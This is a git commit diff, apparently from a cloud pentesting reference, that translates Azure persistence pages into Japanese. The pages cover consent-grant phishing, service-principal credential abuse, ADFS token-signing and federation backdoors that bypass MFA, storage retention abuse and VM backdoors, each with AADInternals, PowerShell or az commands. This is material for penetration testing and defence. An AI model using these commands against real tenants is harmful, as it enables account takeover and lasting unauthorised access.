Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az

This commit is contained in:
Translator
2024-12-31 19:16:19 +00:00
parent 7770a50092
commit ea3a11546a
244 changed files with 8714 additions and 11561 deletions

View File

@@ -2,54 +2,45 @@
{{#include ../../../banners/hacktricks-training.md}}
### Illicit Consent Grant
### 不正な同意の付与
By default, any user can register an application in Azure AD. So you can register an application (only for the target tenant) that needs high impact permissions with admin consent (an approve it if you are the admin) - like sending mail on a user's behalf, role management etc.T his will allow us to **execute phishing attacks** that would be very **fruitful** in case of success.
デフォルトでは、任意のユーザーがAzure ADにアプリケーションを登録できます。したがって、高い影響を持つ権限が必要なアプリケーションターゲットテナント専用を登録できます。管理者の同意が必要です管理者であれば承認できます - 例えば、ユーザーの代理でメールを送信したり、役割管理を行ったりします。これにより、成功した場合に非常に**有益な****フィッシング攻撃**を**実行**することができます。
Moreover, you could also accept that application with your user as a way to maintain access over it.
さらに、アクセスを維持する手段として、ユーザーとしてそのアプリケーションを受け入れることもできます。
### Applications and Service Principals
### アプリケーションとサービスプリンシパル
With privileges of Application Administrator, GA or a custom role with microsoft.directory/applications/credentials/update permissions, we can add credentials (secret or certificate) to an existing application.
アプリケーション管理者、GA、またはmicrosoft.directory/applications/credentials/update権限を持つカスタムロールの特権を持つ場合、既存のアプリケーションに資格情報シークレットまたは証明書を追加できます。
It's possible to **target an application with high permissions** or **add a new application** with high permissions.
**高い権限を持つアプリケーションをターゲットにする**ことも、**高い権限を持つ新しいアプリケーションを追加する**ことも可能です。
An interesting role to add to the application would be **Privileged authentication administrator role** as it allows to **reset password** of Global Administrators.
This technique also allows to **bypass MFA**.
アプリケーションに追加するのに興味深い役割は、**特権認証管理者ロール**です。これは、グローバル管理者の**パスワードをリセット**することを可能にします。
この技術は、**MFAをバイパス**することも可能です。
```powershell
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
```
- For certificate based authentication
- 証明書ベースの認証のために
```powershell
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
```
### Federation - Token Signing Certificate
With **DA privileges** on on-prem AD, it is possible to create and import **new Token signing** and **Token Decrypt certificates** that have a very long validity. This will allow us to **log-in as any user** whose ImuutableID we know.
**Run** the below command as **DA on the ADFS server(s)** to create new certs (default password 'AADInternals'), add them to ADFS, disable auto rollver and restart the service:
**DA権限**を持つオンプレミスADでは、非常に長い有効期限を持つ**新しいトークン署名**および**トークン復号化証明書**を作成およびインポートすることが可能です。これにより、**ImmutableID**を知っている任意のユーザーとして**ログイン**することができます。
**ADFSサーバーでDAとして**以下のコマンドを実行して新しい証明書を作成し(デフォルトのパスワードは'AADInternals'、それらをADFSに追加し、自動ロールオーバーを無効にし、サービスを再起動します
```powershell
New-AADIntADFSSelfSignedCertificates
```
Then, update the certificate information with Azure AD:
次に、Azure ADで証明書情報を更新します:
```powershell
Update-AADIntADFSFederationSettings -Domain cyberranges.io
```
### Federation - Trusted Domain
With GA privileges on a tenant, it's possible to **add a new domain** (must be verified), configure its authentication type to Federated and configure the domain to **trust a specific certificate** (any.sts in the below command) and issuer:
テナントにGA権限がある場合、**新しいドメインを追加**することが可能です確認が必要です、その認証タイプをFederatedに設定し、ドメインを**特定の証明書**以下のコマンドのany.stsおよび発行者を**信頼**するように設定します:
```powershell
# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io
@@ -60,13 +51,8 @@ Get-MsolUser | select userPrincipalName,ImmutableID
# Access any cloud app as the user
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true
```
## References
## 参考文献
- [https://aadinternalsbackdoor.azurewebsites.net/](https://aadinternalsbackdoor.azurewebsites.net/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Queue
For more information check:
詳細については、次を確認してください:
{{#ref}}
../az-services/az-queue-enum.md
@@ -12,8 +12,7 @@ For more information check:
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks.
この権限は、攻撃者がストレージアカウント内のキューとそのプロパティを作成または変更することを許可します。これを使用して、不正なキューを作成したり、メタデータを変更したり、アクセス制御リストACLを変更してアクセスを許可または制限したりできます。この機能は、ワークフローを妨害したり、悪意のあるデータを注入したり、機密情報を抽出したり、さらなる攻撃を可能にするためにキュー設定を操作したりする可能性があります。
```bash
az storage queue create --name <new-queue-name> --account-name <storage-account>
@@ -21,15 +20,10 @@ az storage queue metadata update --name <queue-name> --metadata key1=value1 key2
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
```
## References
## 参考文献
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,44 +2,36 @@
{{#include ../../../banners/hacktricks-training.md}}
## Storage Privesc
## ストレージの権限昇格
For more information about storage check:
ストレージに関する詳細情報は、以下を確認してください:
{{#ref}}
../az-services/az-storage.md
{{#endref}}
### Common tricks
### 一般的なトリック
- Keep the access keys
- Generate SAS
- User delegated are 7 days max
- アクセスキーを保持する
- SASを生成する
- ユーザー委任は最大7日間
### Microsoft.Storage/storageAccounts/blobServices/containers/update && Microsoft.Storage/storageAccounts/blobServices/deletePolicy/write
These permissions allows the user to modify blob service properties for the container delete retention feature, which enables or configures the retention period for deleted containers. These permissions can be used for maintaining persistence to provide a window of opportunity for the attacker to recover or manipulate deleted containers that should have been permanently removed and accessing sensitive information.
これらの権限は、削除されたコンテナの保持期間を有効にまたは構成するためのコンテナ削除保持機能のために、ユーザーがblobサービスのプロパティを変更することを許可します。これらの権限は、攻撃者が永久に削除されるべき削除されたコンテナを回復または操作するための機会を提供するために、持続性を維持するために使用できます。
```bash
az storage account blob-service-properties update \
--account-name <STORAGE_ACCOUNT_NAME> \
--enable-container-delete-retention true \
--container-delete-retention-days 100
--account-name <STORAGE_ACCOUNT_NAME> \
--enable-container-delete-retention true \
--container-delete-retention-days 100
```
### Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
These permissions can lead to the attacker to modify the retention policies, restoring deleted data, and accessing sensitive information.
これらの権限は、攻撃者が保持ポリシーを変更し、削除されたデータを復元し、機密情報にアクセスすることを可能にします。
```bash
az storage blob service-properties delete-policy update \
--account-name <STORAGE_ACCOUNT_NAME> \
--enable true \
--days-retained 100
--account-name <STORAGE_ACCOUNT_NAME> \
--enable true \
--days-retained 100
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,26 +4,22 @@
## VMs persistence
For more information about VMs check:
VMに関する詳細情報は、以下を確認してください
{{#ref}}
../az-services/vms/
{{#endref}}
### Backdoor VM applications, VM Extensions & Images <a href="#backdoor-instances" id="backdoor-instances"></a>
### バックドアVMアプリケーション、VM拡張機能イメージ <a href="#backdoor-instances" id="backdoor-instances"></a>
An attacker identifies applications, extensions or images being frequently used in the Azure account, he could insert his code in VM applications and extensions so every time they get installed the backdoor is executed.
攻撃者はAzureアカウントで頻繁に使用されているアプリケーション、拡張機能、またはイメージを特定し、VMアプリケーションや拡張機能にコードを挿入することで、インストールされるたびにバックドアが実行されるようにすることができます。
### Backdoor Instances <a href="#backdoor-instances" id="backdoor-instances"></a>
### バックドアインスタンス <a href="#backdoor-instances" id="backdoor-instances"></a>
An attacker could get access to the instances and backdoor them:
攻撃者はインスタンスにアクセスし、バックドアを仕掛けることができます:
- Using a traditional **rootkit** for example
- Adding a new **public SSH key** (check [EC2 privesc options](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc))
- Backdooring the **User Data**
- 例えば、従来の**rootkit**を使用する
- 新しい**公開SSHキー**を追加する([EC2の特権昇格オプション](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc)を確認)
- **ユーザーデータ**にバックドアを仕掛ける
{{#include ../../../banners/hacktricks-training.md}}